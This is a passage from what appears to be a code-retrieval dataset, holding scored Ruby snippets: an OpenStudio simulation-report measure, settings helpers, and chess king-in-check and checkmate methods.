oa_temps_ts.get.values.size\n output_steps_per_hr = output_num_timesteps / hrs_simulated\n timestep_output_status = \"E+ timeseries shows #{output_steps_per_hr} steps/hr.\"\n\n # Warn if input and output timestep lengths don't match\n unless input_steps_per_hr.to_f == output_steps_per_hr.to_f\n timestep_warning = \"Timestep input and output don't match.\"\n end\n\n # Check the start day of week inputs\n yr_desc = model.getYearDescription\n input_start_day = yr_desc.dayofWeekforStartDay\n if yr_desc.calendarYear.is_initialized\n yr = yr_desc.calendarYear.get\n input_start_day = yr_desc.makeDate(run_period.getBeginMonth, run_period.getBeginDayOfMonth).dayOfWeek.valueName\n start_day_input_status = \"Year set to #{yr}. Simulation start day of #{run_period.getBeginMonth}/#{run_period.getBeginDayOfMonth}/#{yr} is a #{input_start_day}.\"\n else\n yr = yr_desc.assumedYear\n input_start_day = yr_desc.makeDate(run_period.getBeginMonth, run_period.getBeginDayOfMonth).dayOfWeek.valueName\n start_day_input_status = \"Year not specified. OpenStudio assumed #{yr}. Simulation start day of #{run_period.getBeginMonth}/#{run_period.getBeginDayOfMonth}/#{yr} is a #{input_start_day}.\"\n end\n\n # Get the day of week of the first timestep\n day_type_to_name = {\n 1 => 'Sunday',\n 2 => 'Monday',\n 3 => 'Tuesday',\n 4 => 'Wednesday',\n 5 => 'Thursday',\n 6 => 'Friday',\n 7 => 'Saturday',\n 8 => 'Holiday',\n 9 => 'SummerDesignDay',\n 10 => 'WinterDesignDay',\n 11 => 'CustomDay1',\n 12 => 'CustomDay2'\n }\n puts \"day_types[0] = #{day_types[0].to_i}\"\n output_start_day = day_type_to_name[day_types[0].to_i]\n puts \"output_start_day = #{output_start_day}\"\n start_day_output_status = \"E+ output first day of the simulation is a #{output_start_day}.\"\n\n # Warn if different input and output start days don't match\n unless input_start_day.downcase == output_start_day.downcase\n start_day_warning = \"The input file lists a start day of #{input_start_day}, while the EnergyPlus outputs indicate a start day of #{output_start_day}.\"\n runner.registerWarning(start_day_warning)\n end\n\n # Check leap year input\n input_is_leap_yr = yr_desc.isLeapYear\n if input_is_leap_yr\n leap_year_input_status = \"Year is set to #{yr}, which IS a leap year.\"\n else\n leap_year_input_status = \"Year is set to #{yr}, which is NOT a leap year.\"\n end\n\n # Check leap year via output\n output_is_leap_yr = false\n day_types_ts.get.dateTimes.each do |date_time|\n date = date_time.date\n ### workaround ###\n # TODO: remove once https://github.com/NREL/OpenStudio/issues/817 is fixed\n # OS always assumes 2009 in sql timeseries results,\n # so make a Date for the same day of the year, but\n # using the year extracted directly from the sql file.\n day_of_year = date.dayOfYear\n date = OpenStudio::Date.fromDayOfYear(day_of_year, sql_yr)\n ### workaround ###\n next unless date.monthOfYear.value == 2 # February\n next unless date.dayOfMonth == 29 # Feb 29\n output_is_leap_yr = true\n break\n end\n if output_is_leap_yr\n leap_year_output_status = \"E+ output DOES have values for February 29th, so it IS running as a leap year.\"\n else\n leap_year_output_status = \"E+ output does NOT have values for February 29th, so it is NOT running as a leap year.\"\n end\n\n # Warn if different input and output leap year info doesn't match\n unless input_is_leap_yr == output_is_leap_yr\n leap_year_warning = \"The input says leap year = #{input_is_leap_yr}, while the EnergyPlus outputs indicate leap year = #{output_is_leap_yr}.\"\n runner.registerWarning(leap_year_warning)\n end\n\n # read in template\n html_in_path = \"#{File.dirname(__FILE__)}/resources/report.html.erb\"\n if File.exist?(html_in_path)\n html_in_path = html_in_path\n else\n html_in_path = \"#{File.dirname(__FILE__)}/report.html.erb\"\n end\n html_in = \"\"\n File.open(html_in_path, 'r') do |file|\n html_in = file.read\n end\n\n # configure template with variable values\n web_asset_path = OpenStudio.getSharedResourcesPath / OpenStudio::Path.new('web_assets')\n renderer = ERB.new(html_in)\n html_out = renderer.result(binding)\n\n # write html file\n html_out_path = \"./report.html\"\n File.open(html_out_path, 'w') do |file|\n file << html_out\n # make sure data is written to the disk one way or the other\n begin\n file.fsync\n rescue\n file.flush\n end\n end\n\n #closing the sql file\n sql.close\n\n #reporting final condition\n runner.registerFinalCondition(\"Generated #{html_out_path}.\")\n\n return true\n\n end", "title": "" }, { "docid": "1fd3e372a06a64dbefe63f5cb23c5ab3", "score": "0.485627", "text": "def process_settings_file\n (@settings_file['campaigns'] || []).each do |campaign|\n set_variation_allocation(campaign)\n end\n Utils::Logger.log(\n LogLevelEnum::DEBUG,\n 'SETTINGS_FILE_PROCESSED',\n {\n '{file}' => FileNameEnum::SETTINGS_FILE_PROCESSOR,\n '{accountId}' => @settings_file['accountId']\n }\n )\n end", "title": "" }, { "docid": "55d2b942d68c1bba6cd0744ce0f56dad", "score": "0.48532504", "text": "def method_missing method, *args, &block\n if args.length == 1\n args = args.first\n end\n @settings[method] = args\n return self\n end", "title": "" }, { "docid": "601f75cba7fbba0a2d2e21a86c1131d0", "score": "0.4850344", "text": "def settings; end", "title": "" }, { "docid": "601f75cba7fbba0a2d2e21a86c1131d0", "score": "0.4850344", "text": "def settings; end", "title": "" }, { "docid": "654e2c7b280cc1c19608bf52814562d0", "score": "0.48493487", "text": "def settings\n end", "title": "" }, { "docid": "6464093c20aa800bde46b107321e06ff", "score": "0.48431912", "text": "def update!(**args)\n @car_settings_capabilities = args[:car_settings_capabilities] if args.key?(:car_settings_capabilities)\n @reissue_query_after_music_setup = args[:reissue_query_after_music_setup] if args.key?(:reissue_query_after_music_setup)\n @supports_payments_settings_update = args[:supports_payments_settings_update] if args.key?(:supports_payments_settings_update)\n end", "title": "" }, { "docid": "787fc9ccf33e1e3c10f2226bfff65724", "score": "0.48381332", "text": "def settings=(value)\n @settings = value\n end", "title": "" }, { "docid": "787fc9ccf33e1e3c10f2226bfff65724", "score": "0.48381332", "text": "def settings=(value)\n @settings = value\n end", "title": "" }, { "docid": "2eed9ff17e4c27b9198d155bd411eaa9", "score": "0.48343456", "text": "def set_all_target_setting(key,value)\n is_ok = true\n\n config_list = @project.build_configuration_list\n project.targets.each do |target|\n if block_given? \n is_ok = yield target , key \n end\n \n if is_ok\n set_project_setting key ,value \n set_target_setting target, key , value\n end\n end\n end", "title": "" }, { "docid": "3d275b488285936c843d49d479401b75", "score": "0.4831415", "text": "def adjust!(attributes,reload=false)\n all.adjust!(attributes,reload)\n end", "title": "" }, { "docid": "80945cdd806869a8de41d874ba3015b6", "score": "0.4819589", "text": "def set_options(object, options = {})\n options.each_pair do |option, value| \n case option\n when :settings # works for windows and tabs, for example :settings => \"Grass\"\n begin\n object.current_settings.set(@terminal.settings_sets[value])\n rescue Appscript::CommandError => e\n puts \"Error: invalid settings set '#{value}'\"\n end\n when :bounds # works only for windows, for example :bounds => [10,20,300,200]\n # the only working sequence to restore window size and position! \n object.bounds.set(value)\n object.frame.set(value)\n object.position.set(value)\n when :selected # works for tabs, for example tab :active => true\n delayed_option(option, value, object)\n when :miniaturized # works for windows only\n delayed_option(option, value, object)\n when :name\n # ignore it.\n else # trying to apply any other option\n begin\n object.instance_eval(option.to_s).set(value)\n rescue\n puts \"Error setting #{option} = #{value} on #{object.inspect}\"\n end\n end\n end\n end", "title": "" }, { "docid": "f43f7b3383f387ebf410c6010f8acea4", "score": "0.4819058", "text": "def load_settings\n @settings = Instance::Settings::Effective.new(current_tenant, Course::ControllerComponentHost)\n end", "title": "" }, { "docid": "50ac6c7481bc4044b2356cd46249474d", "score": "0.48106718", "text": "def update!\n @defaults.each do |key, value|\n instance_variable_set(key, value) unless instance_variable_defined?(key)\n end\n end", "title": "" }, { "docid": "0f8a3eb76320ed441e1a8fe96283c0ac", "score": "0.4804963", "text": "def set_options(object, options = {})\n options.each_pair do |option, value|\n case option\n when :settings # works for windows and tabs, for example :settings => \"Grass\"\n begin\n object.current_settings.set(@terminal.settings_sets[value])\n rescue Appscript::CommandError => e\n puts \"Error: invalid settings set '#{value}'\"\n end\n when :bounds # works only for windows, for example :bounds => [10,20,300,200]\n # the only working sequence to restore window size and position! \n object.bounds.set(value)\n object.frame.set(value)\n object.position.set(value)\n when :selected # works for tabs, for example tab :active => true\n delayed_option(option, value, object)\n when :miniaturized # works for windows only\n delayed_option(option, value, object)\n when :name\n # ignore it.\n else # trying to apply any other option\n begin\n object.instance_eval(option.to_s).set(value)\n rescue\n puts \"Error setting #{option} = #{value} on #{object.inspect}\"\n end\n end\n end\n end", "title": "" }, { "docid": "498a492568612e8c28333ac39e158571", "score": "0.48016644", "text": "def runSavSimMixture(_simConf = nil, *opts)\n com = comSavSimMixture(_simConf, *opts) ;\n runCommand(com) ;\n end", "title": "" }, { "docid": "b6f8a75b851666a5b4c9151bc0b7ab25", "score": "0.4801162", "text": "def enableSimulationGlobal _obj, _args\n \"_obj enableSimulationGlobal _args;\" \n end", "title": "" }, { "docid": "85e1f7ac208c5272a3ee5504ffb27e66", "score": "0.4799228", "text": "def set_simulation\n @simulation = Simulation.find(params[:id])\n end", "title": "" }, { "docid": "7e8a44c1dd9c2ae93dbb9431c38b48cb", "score": "0.4797188", "text": "def reconfigure(overrides={})\n config.merge!(overrides)\n self\n end", "title": "" }, { "docid": "064d98b41c41c5e7b01041e920473472", "score": "0.47934195", "text": "def settings\n @settings ||= {}\n end", "title": "" }, { "docid": "064d98b41c41c5e7b01041e920473472", "score": "0.47934195", "text": "def settings\n @settings ||= {}\n end", "title": "" }, { "docid": "edfef0626f1a300c4cde42676b34eead", "score": "0.47931162", "text": "def apply_settings(con)\n NetworkManager::DBus::Root.activate_connection con, self\n end", "title": "" }, { "docid": "9059c0774b2a31c21fc7876e69ba4f71", "score": "0.4790024", "text": "def reset!\n Whitehouse::Configurable.keys.each do |key|\n instance_variable_set(:\"@#{key}\", Whitehouse::Default.options[key])\n end\n self\n end", "title": "" }, { "docid": "c2a624f3cb92c98c4eb35fa7bca59544", "score": "0.47888455", "text": "def reset_all\n clear_commands\n reset_colors\n @app_info = nil\n @app_exe = nil\n @verbose_parameters = true\n @@default_method = nil\n @@class_cache = {}\n end", "title": "" }, { "docid": "638e4d7317db8f76426a177a6f5b9ca4", "score": "0.478678", "text": "def load_settings\n @settings = Course::Settings::Effective.new(current_course, current_component_host)\n end", "title": "" }, { "docid": "d7c6e299e499d8daf1f9003600726001", "score": "0.47842157", "text": "def settings\n\t\tif setting = params[\"settings\"]\n\t\t\tsetting.each do |k,v|\n\t\t\t\tv = v == \"1\" if v == \"1\" or v == \"0\"\n\t\t\t\tlogger.debug \"Setting #{k} to #{v.inspect}\"\n\t\t\t\tSettings[k] = v\n\t\t\tend\n\t\tend\n\t\thead :ok\n\tend", "title": "" }, { "docid": "46f4389ff275c4ea14f0931a60eab93c", "score": "0.47780913", "text": "def apply_settings\n if !self.communicatable.nil? && self.communicatable.respond_to?(:default_communication_settings) then\n puts 'communicatable settings:'+self.communicatable.send(:default_communication_settings).inspect\n end\n end", "title": "" } ]
95cd76deb56adaa735288a38c8cf0dac
Returns true if knight puts king into check, false if not.
[ { "docid": "b45afbec100fe8d2953f92824a89f930", "score": "0.75493", "text": "def knight_check?(piece, column, row)\n if piece.is_a?(Knight)\n c = piece.column\n r = piece.row\n possible = []\n possible_moves = [[c + 2, r + 1], [c + 2, r - 1], [c - 2, r + 1], [c - 2, r - 1],\n [c + 1, r + 2], [c - 1, r + 2], [c + 1, r - 2], [c - 1, r - 2]]\n possible_moves.each do |move|\n if move.all? { |value| value >= 0 } && move.all? { |value| value <= 7 }\n possible << move\n end\n end\n possible.each do |item|\n if @board.check(item[0], item[1]) != \"___\" &&\n @board.check(item[0], item[1]).color != piece.color &&\n @board.check(item[0], item[1]).is_a?(King)\n @in_check = @board.check(item[0], item[1])\n return true\n end\n end\n end\n return false\n end", "title": "" } ]
[ { "docid": "c826f276fda8bcb5aa27d3f0775a2dae", "score": "0.8084559", "text": "def king_in_check?()\n GameStart::Check.king_in_check?( \n FindPieces::FindTeamPieces.\n find_king_piece( \n players_info.current_team, \n board ),\n FindPieces::FindTeamPieces.\n find_pieces( \n players_info.enemy_team, \n board )\n )\n end", "title": "" }, { "docid": "6e21efa57db9ed67403546998e39dc65", "score": "0.79936475", "text": "def king_check?(king)\n x = king.location[0]\n y = king.location[1]\n return check_slide?(x, y, 'diag') || check_slide?(x, y, 'line') ||\n check_step?(x, y, 'knight') || check_step?(x, y, 'pawn')\n end", "title": "" }, { "docid": "a0123f1cf995f830270e822fc905fa61", "score": "0.7847812", "text": "def king_in_check?\n @board.white_pieces.each do |piece|\n if piece.is_a?(Pawn)\n if white_pawn_check?(piece, piece.column, piece.row)\n return true\n end\n elsif piece.is_a?(Bishop)\n if bishop_check?(piece, piece.column, piece.row)\n return true\n end\n elsif piece.is_a?(Rook)\n if rook_check?(piece, piece.column, piece.row)\n return true\n end\n elsif piece.is_a?(Queen)\n if queen_check?(piece, piece.column, piece.row)\n return true\n end\n elsif piece.is_a?(Knight)\n if knight_check?(piece, piece.column, piece.row)\n return true\n end\n end\n end\n @board.black_pieces.each do |piece|\n if piece.is_a?(Pawn)\n if black_pawn_check?(piece, piece.column, piece.row)\n return true\n end\n elsif piece.is_a?(Bishop)\n if bishop_check?(piece, piece.column, piece.row)\n return true\n end\n elsif piece.is_a?(Rook)\n if rook_check?(piece, piece.column, piece.row)\n return true\n end\n elsif piece.is_a?(Queen)\n if queen_check?(piece, piece.column, piece.row)\n return true\n end\n elsif piece.is_a?(Knight)\n if knight_check?(piece, piece.column, piece.row)\n return true\n end\n end\n end\n @in_check = []\n return false\n end", "title": "" }, { "docid": "c40ed196780da29648d112767dbd3d73", "score": "0.77495", "text": "def can_enemy_king_check?\n friendly_king = get_king\n enemy_king = @chess_board.board.find do |node|\n !node.piece.nil? && node.piece.instance_of?(King) && node.piece.color == 'white'\n end\n return unless enemy_king\n\n enemy_king = enemy_king.piece\n enemy_king.possible_moves(@chess_board).each do |node|\n return true if node.coor == friendly_king.pos\n end\n \n false\n end", "title": "" }, { "docid": "81a8dad81c0147789f06ea768eeeece6", "score": "0.7716078", "text": "def over?\n king = @white_turn ? board.king('white') : board.king('black')\n if king.in_check?\n if board.checkmate?(@white_turn)\n puts \"Checkmate\"\n return true\n else\n puts \"Check\"\n end\n end\n false\n end", "title": "" }, { "docid": "c130fa709f2f66939ecf38f3d3e93e44", "score": "0.7687664", "text": "def calculate_king_check(square, king)\n calculate_positions_check(square)\n return true if potential_moves.include?(king.position)\n end", "title": "" }, { "docid": "65ae2cd6af20a6d9451a46621dce447f", "score": "0.7667662", "text": "def in_check?( side )\n king_position = keys.detect{ |key| self[key].side==side and self[key].role==:king }\n\n return true if pawn_is_attacking_king?(side, king_position)\n\n return true if knight_is_attacking_king?(side, king_position)\n \n return true if diagonal_piece_is_attacking_king?(side, king_position)\n \n return true if straight_piece_is_attacking_king?(side, king_position)\n \n false\n end", "title": "" }, { "docid": "402cd136b2361ec32687f5dc36151679", "score": "0.76484096", "text": "def in_check?(king)\n opposite_pieces = pieces.where(color: !king.color)\n opposite_pieces.each do |piece|\n if piece.legal_move?(king.xcoordinate, king.ycoordinate)\n return true\n else\n return false\n end\n end\n end", "title": "" }, { "docid": "8115bec587f0eb54333a12cabf2ec793", "score": "0.7643387", "text": "def move_checks_king? move\n moved_piece = @board.board[move[0]][move[1]]\n moved_piece.get_next(@board.board)\n\n moved_piece.next_moves[:regular].each do |move|\n tile = @board.board[move[0]][move[1]]\n if !tile.nil? && tile.color == moved_piece.opposite_color && tile.piece == 'king'\n @checking_piece = moved_piece\n @in_check = true\n @checked_king = tile\n return true\n end\n end\n\n @checking_piece = nil\n @in_check = false\n @checked_king = nil\n return false\n end", "title": "" }, { "docid": "795aaf5d8e4d795a9f87db75eca2af60", "score": "0.7639581", "text": "def check_king board\n king_position = find_king(board)\n @turn == 'W' ? opponent = 'B' : opponent = 'W'\n\n board.each_index do |row|\n board[row].each do |tile|\n if !tile.nil? && tile.color == opponent && tile.piece != 'king'\n tile.get_next(board)\n\n tile.next_moves[:regular].each do |move|\n return true if move == king_position\n end\n end\n end\n end\n\n return false\n end", "title": "" }, { "docid": "8ae39d4dbf40487b96e73ccf4461ac7c", "score": "0.75814354", "text": "def can_enemy_king_check?\n friendly_king = get_friendly_pieces.find { |piece| piece.instance_of?(King) }\n enemy_king = @chess_board.board.find do |node|\n !node.piece.nil? && node.piece.instance_of?(King) && node.piece.color != @game_state[:current_turn]\n end\n enemy_king = enemy_king.piece\n\n enemy_king.possible_moves(@chess_board).each do |node|\n return true if node.coor == friendly_king.pos\n end\n \n false\n end", "title": "" }, { "docid": "2295b9dc911149188ebacad960d4c712", "score": "0.75459963", "text": "def check?\n current_player = self.active_player.id\n current_king = King.active.where(user_id: current_player).first\n king_x = current_king.x_position\n king_y = current_king.y_position\n\n pieces.active.each do | piece |\n # only check for enemy pieces\n if piece.user_id != current_player\n # check if enemy pieces threaten the kings location\n if piece.valid_move?(king_x, king_y)\n return true # definitively return true\n end\n end\n end\n return false # definitively return false\n end", "title": "" }, { "docid": "87e9fdac6ede5566ec2b2a2325f184d0", "score": "0.75459814", "text": "def check?\n # always start with assuming status ongoing.\n in_check_state = false\n\n # find the kings positions\n pos_black_king = []\n pos_white_king = []\n @board.position.each do |cell, piece|\n if piece != nil \n pos_black_king = cell if piece.color == :b && piece.type == :king\n pos_white_king = cell if piece.color == :w && piece.type == :king\n end\n end \n in_check_state = true if capturable?(pos_black_king, :b) || capturable?(pos_white_king, :w)\n \n return in_check_state\n end", "title": "" }, { "docid": "8ebe1301cf625760aa13078c82da14e9", "score": "0.75453126", "text": "def knight_check?(piece, column, row)\n if piece.is_a?(Knight)\n c = piece.column\n r = piece.row\n possible = []\n possible_moves = [[c + 2, r + 1], [c + 2, r - 1], [c - 2, r + 1], [c - 2, r - 1],\n [c + 1, r + 2], [c - 1, r + 2], [c + 1, r - 2], [c - 1, r - 2]]\n possible_moves.each do |move|\n if move.all? { |value| value >= 0 } && move.all? { |value| value <= 7 }\n possible << move\n end\n end\n possible.each do |item|\n if @board.check(item[0], item[1]) != \"___\" && \n @board.check(item[0], item[1]).color != piece.color &&\n @board.check(item[0], item[1]).is_a?(King)\n @in_check = @board.check(item[0], item[1])\n return true\n end\n end\n end\n return false\n end", "title": "" }, { "docid": "ff753519543b55e4db892821418cec19", "score": "0.73898697", "text": "def check_mate?\n black_king = pieces['black_king']\n white_king = pieces['white_king']\n return false if black_king.nil? || white_king.nil?\n row, col = black_king.position\n if @squares[row][col].threatened?(black_king)\n return black_king unless safe_moves?(black_king) ||\n enclosed?(black_king) ||\n safe_from_threats?(black_king)\n end\n row, col = white_king.position\n if @squares[row][col].threatened?(white_king)\n return white_king unless safe_moves?(white_king) ||\n enclosed?(white_king) ||\n safe_from_threats?(white_king)\n end\n false\n end", "title": "" }, { "docid": "aba768284f584560d55c2d9e269ef199", "score": "0.73405236", "text": "def check_mate?\n @checked_king.get_next(@board.board)\n return false if !@checked_king.next_moves[:regular].empty?\n\n special_case = ['rook','bishop','queen']\n special_case = true if special_case.include?(@checking_piece.piece)\n\n @checking_piece.get_next(@board.board)\n c_row, c_column = @checking_piece.position[0], @checking_piece.position[1]\n\n @board.board.each_index do |row|\n @board.board[row].each do |tile|\n if !tile.nil? && tile.color == @checked_king.color && tile.piece != 'king'\n tile.get_next(@board.board)\n if tile.next_moves[:regular].include?([c_row, c_column])\n return false\n elsif special_case == true\n return false if check_in_the_way(tile) == true\n end\n end\n end\n end\n\n return true\n end", "title": "" }, { "docid": "f1d516dd1edfbd24e5dbd57b05434cd4", "score": "0.73361933", "text": "def king_in_check(color)\n\t\tking = false\n\t\t@board.each do |key, piece| \n\t\t\tif piece.color == color and piece.class == King\n\t\t\t\tking = key\n\t\t\tend\n\t\tend\n\t\t@board.each do |key, piece|\n\t\t\tif piece.color != color and piece.moves.include?(@board[king].position)\n\t\t\t\treturn true\t\n\t\t\tend\n\t\tend\n\t\treturn false\n\tend", "title": "" }, { "docid": "d45ea5a6fbaad0d245d94005688a1621", "score": "0.73195887", "text": "def block_check?(king)\n # array of coordinates between the king and the checking piece\n check_squares = squares_between(king.x_coord, king.y_coord)\n potential_blockers = game.uncaptured_pieces(king.color)\n potential_blockers.each do |piece|\n next if piece.type == 'King'\n check_squares.each do |square|\n return true if piece.valid_move?(square[0], square[1])\n end\n end\n false\n end", "title": "" }, { "docid": "0a7e10e7168c35b91e060fa75d1ee157", "score": "0.7318652", "text": "def in_check?(clr)\n bv = @clr_pos[clr] & @pc_pos[Chess::Piece::KING]\n if (bv == 0) \n raise ArgumentError, \"#{clr} king has disappeared.\\n#{pp_bv(@clr_pos[clr])}\\n#{pp_bv(@pc_pos[Chess::Piece::KING])}\\n#{pp_bv(bv)}\"\n end\n src = get_coord_for_bv(bv)\n all_dir = [\n Coord::NORTH, Coord::SOUTH, Coord::EAST, Coord::WEST,\n Coord::NORTHWEST, Coord::NORTHEAST, Coord::SOUTHWEST, Coord::SOUTHEAST\n ]\n cardinal = Coord::NORTH | Coord::SOUTH | Coord::EAST | Coord::WEST\n diagonal = Coord::NORTHEAST | Coord::NORTHWEST | Coord::SOUTHEAST | Coord::SOUTHWEST\n\n # check for pawns\n pawn_dir = clr.white? ? [Coord::NORTHEAST, Coord::NORTHWEST] : [Coord::SOUTHEAST, Coord::SOUTHWEST]\n\n pawn_dir.each do |dir|\n sq = sq_at(src.go(dir))\n pc = sq.nil? ? nil : sq.piece\n return true if !pc.nil? && pc.colour.opposite?(clr) && pc.pawn?\n end\n\n # check for knights\n [src.north.north.west, src.north.north.east, src.north.west.west, src.north.east.east, \\\n src.south.south.west, src.south.south.east, src.south.west.west, src.south.east.east].each{|coord|\n\n sq = sq_at(coord)\n pc = sq.nil? ? nil : sq.piece\n if (!pc.nil? && clr.opposite?(pc.colour) && pc.knight?)\n return true\n end\n }\n\n all_dir.each do |dir|\n vector = RulesEngine.calc_board_vector(src, dir)\n catch :DIRECTION do\n vector.each_coord do |coord|\n next if coord == src\n pc = sq_at(coord).piece\n next if pc.nil?\n if (!pc.nil?)\n if (pc.colour.opposite?(clr))\n if ((dir & cardinal == dir) && (pc.queen? || pc.rook?))\n return true\n elsif ((dir & diagonal == dir) && (pc.queen? || pc.bishop?))\n return true\n else\n throw :DIRECTION\n end\n else\n throw :DIRECTION\n end\n end\n end\n end\n end\n\n return false\n end", "title": "" }, { "docid": "83a8aac82cb505fff909246fbf52f47a", "score": "0.73144895", "text": "def king_can_move?(king)\n current_case = king.location\n king.possible_moves[0..-3].each do |coord| # [0..-3] to avoid castle moves\n next_case = [current_case[0] + coord[0], current_case[1] + coord[1]]\n next if offboard(next_case)\n if empty?(next_case)\n move_piece(current_case, next_case)\n if king_check?(king)\n move_piece(next_case, current_case)\n next\n else\n move_piece(next_case, current_case)\n return true\n end\n end\n end\n return false\n end", "title": "" }, { "docid": "c46a30d1f7f5b52a794168fc9b65dccc", "score": "0.72855353", "text": "def victory?\n king = find_king(current_player)\n the_bad = king_check?(king)\n if the_bad\n if king_checkmate?(king, the_bad)\n puts \"Checkmate!\"\n puts \"Well done #{other_player.name} you won!\"\n return true\n else\n puts \"Check!\"\n end\n end\n return false\n end", "title": "" }, { "docid": "106a54de3f15d1bebeb3fb555e33e661", "score": "0.72853297", "text": "def king_checkmate?(king, the_bad)\n # Not checkmate if king can move\n return false if king_can_move?(king)\n\n # Not checkmate if adverse piece can be taken or path obstructed\n if the_bad.type == 'step'\n return false if can_be_taken?(the_bad)\n elsif the_bad.type == 'slide'\n return false if can_be_taken?(the_bad) || can_be_obstructed?(the_bad)\n end\n\n return true\n end", "title": "" }, { "docid": "eebd865e115410dac170bc4f7e1480b8", "score": "0.728326", "text": "def king_in_check(king, new_board, checkmate = nil, colour = find_colour)\n simulate_check_move(self, ' ', new_board) if checkmate == 2\n king = find_king(self.colour, new_board) if checkmate == 2\n new_board.each do |square|\n current_piece = square.current_piece\n next if square.current_piece == ' '\n next if current_piece.colour == colour\n return true if cycle_check_pieces(king, square, new_board, checkmate) == true\n end\n end", "title": "" }, { "docid": "e95f9299fa105f521aa0e1e75ee62d53", "score": "0.72800684", "text": "def check?\n opponent_king = @opponent.pieces[:king]\n attackers = @pieces.select do |piece|\n @pieces[piece].get_all_possible_moves.any? do |move| \n [@pieces[piece].current_position[0] + move[0], @pieces[piece].current_position[1] + move[1]] == opponent_king.current_position\n end\n end\n !attackers.empty?\n end", "title": "" }, { "docid": "f84a7182930b75c00d4160d9fff2fe67", "score": "0.727929", "text": "def king_check(current_board=nil)\n current_board ||= @board\n threat_count = 0\n opponent_moves = get_all_moves(@other_player, current_board)\n opponent_moves.each do |move|\n threatened_cell = current_board.get_cell(move[:dest][0],move[:dest][1]).value\n if (threatened_cell != nil) && (threatened_cell.name == \"king\") && (threatened_cell.color == @current_player.color)\n threat_count +=1\n puts \"#{threatened_cell.color} king is threatened by #{move[:piece].color} #{move[:piece].name}\" if current_board == @board\n end\n end\n threat_count\n end", "title": "" }, { "docid": "4a1d90ee341ee7ecc4f363b75c0e85e5", "score": "0.72767055", "text": "def check?(state)\n player = state[:player]\n king = get_king(state, opponent(player))\n # Look for a move that can capture the king\n checking_move = king && pre_check_legal_moves(state).find {\n |move| move[1] == king.location\n }\n !!checking_move\n end", "title": "" }, { "docid": "8f84942fa30e1e6850e540273635455f", "score": "0.726182", "text": "def in_check?(team)\n case(team)\n when(:black)\n # HACK\n king, king_square_algeb = black_pieces.find { |piece, square| piece.type == :king }\n white_pieces.each do |piece, square_algeb|\n if(piece_moves(square_algeb).include?(king_square_algeb))\n return true\n end\n end\n when(:white)\n king, king_square_algeb = white_pieces.find { |piece, square| piece.type == :king }\n black_pieces.each do |piece, square_algeb|\n if(piece_moves(square_algeb).include?(king_square_algeb))\n return true\n end\n end\n end\n return false\n end", "title": "" }, { "docid": "209d9dd7441c6465260cab13190218de", "score": "0.7253455", "text": "def king_in_check?(colour)\n king = find_king(colour)[0]\n check?(king, colour)\n end", "title": "" }, { "docid": "c84f0091802651b1c83dfaa5715ec802", "score": "0.7212934", "text": "def in_check?(side)\n king = (side == :white) ? @white_king : @black_king\n king.attacked? if king\n end", "title": "" }, { "docid": "48a4fc6a22b5134428df9252a5fd92b6", "score": "0.7202798", "text": "def king_castle?\n return valid? && @board.piece_on(@from).type == 'K' &&\n to_file - from_file == 2\n end", "title": "" }, { "docid": "a7eb159e2f5869bc1029b3daf0f73995", "score": "0.720197", "text": "def checkmate\n get_out_of_check_moves.length == 0 && in_check?(your_king_position)\n end", "title": "" }, { "docid": "cf85fd4710880dc9fc03d27971c9718c", "score": "0.7194268", "text": "def checkmate?(king_x, king_y)\n king = pieces.where(:x_position => king_x, :y_position => king_y).first\n # Variable to help determine if all the positions are in check\n king_checkmate = 0\n\n # Get the range for the loop\n x_start = king_x - 1\n x_end = x_start + 2\n y_start = king_y - 1\n y_end = y_start + 2\n\n # Start from top left position for king\n for x in x_start..x_end\n for y in y_start..y_end\n # Pass in possible moves to check if it will cause a check\n if king.will_cause_check?(x, y)\n king_checkmate += 1\n end\n end\n end\n # Minus 1 for king's position\n return (king_checkmate - 1) == 8 ? true : false\n end", "title": "" }, { "docid": "505e91e9d0ea99dce47f58d01599e454", "score": "0.7181717", "text": "def check?(gamepiece)\n enemy_color = gamepiece.color == \"white\" ? \"black\" : \"white\"\n enemy_king = @gamepieces[enemy_color][\"king\"][0]\n gamepiece_index = get_rank_and_file(gamepiece.location)\n enemy_king_index = get_rank_and_file(enemy_king.location)\n next_moves = gamepiece_moves(gamepiece, gamepiece_index)\n\n if next_moves.include?(enemy_king_index)\n return true\n else\n return false\n end\n end", "title": "" }, { "docid": "06f44b4770e7ba6d531f1c77775853f4", "score": "0.71807104", "text": "def enclosed?(king)\n if king.moves.all? { |move| @squares[move[0]][move[1]].friendly?(king) }\n return true\n end\n false\n end", "title": "" }, { "docid": "1f7e8a6ab77943ca83bc242c85864451", "score": "0.71766484", "text": "def check_check\n if player_on_turn == \"white\" #player one is player on turn\n return true if find_king(\"white\").attacked_by_black == true\n elsif player_on_turn == \"black\"\n return true if find_king(\"black\").attacked_by_white == true\n end\n end", "title": "" }, { "docid": "6d16bb500db4f10cb4cfb812f4fefe18", "score": "0.71702373", "text": "def can_castle?(king, move)\n if move == [-2, 0]\n path = [[4,0], [3,0], [2,0], [1,0], [0,0]] if king.color == 'white'\n path = [[4,7], [3,7], [2,7], [1,7], [0,7]] if king.color == 'black'\n elsif move == [ 2, 0]\n path = [[4,0], [5,0], [6,0], [7,0]] if king.color == 'white'\n path = [[4,7], [5,7], [6,7], [7,7]] if king.color == 'black'\n end\n\n piece1 = board.get_case(path.first)\n piece2 = board.get_case(path.last)\n\n # King and Rook should be at their initial location\n return false if empty?(path.first) || empty?(path.last)\n\n # Squares in between should be empty\n path[1..-2].each { |square| return false unless empty?(square) }\n\n # King & Rook shouldn't have mooved\n return false if piece1.counter > 0 || piece2.counter > 0\n \n # King shouldn't be in check on the path\n 2.times do |nb|\n move_piece(path[nb], path[nb+1])\n if king_check?(king)\n move_piece(path[nb+1], path[0])\n return false\n end\n end\n move_piece(path.last, path[1])\n\n return true\n end", "title": "" }, { "docid": "db505e7cba25e9d35e0cdc2ae1265b1b", "score": "0.71641517", "text": "def checkmate?\n\t\t# check = check?(@board.state)\n\t\t# return false if !check\n\t\tthreatened_space = @board.legal_moves(@other_player,@board.state)\n\t\tking = @current_player.pieces.select{|piece| piece.name == :king}.first\n\t\tking_moves = @board.legal_move(king,@board.state)\n\t\toverlap = Array.new(@board.empty_state)\n\t\tfor i in 0..7\n\t\t\tfor j in 0..7\n\t\t\t\toverlap[i][j] = king_moves[i][j] && threatened_space[i][j]\n\t\t\tend\n\t\tend\n\t\tking_stuck = overlap == king_moves\n\t\treturn false if !king_stuck\n\n\t\tthreatening_pieces = []\n\t\t@other_player.pieces.each {|piece|\n\t\t\tif 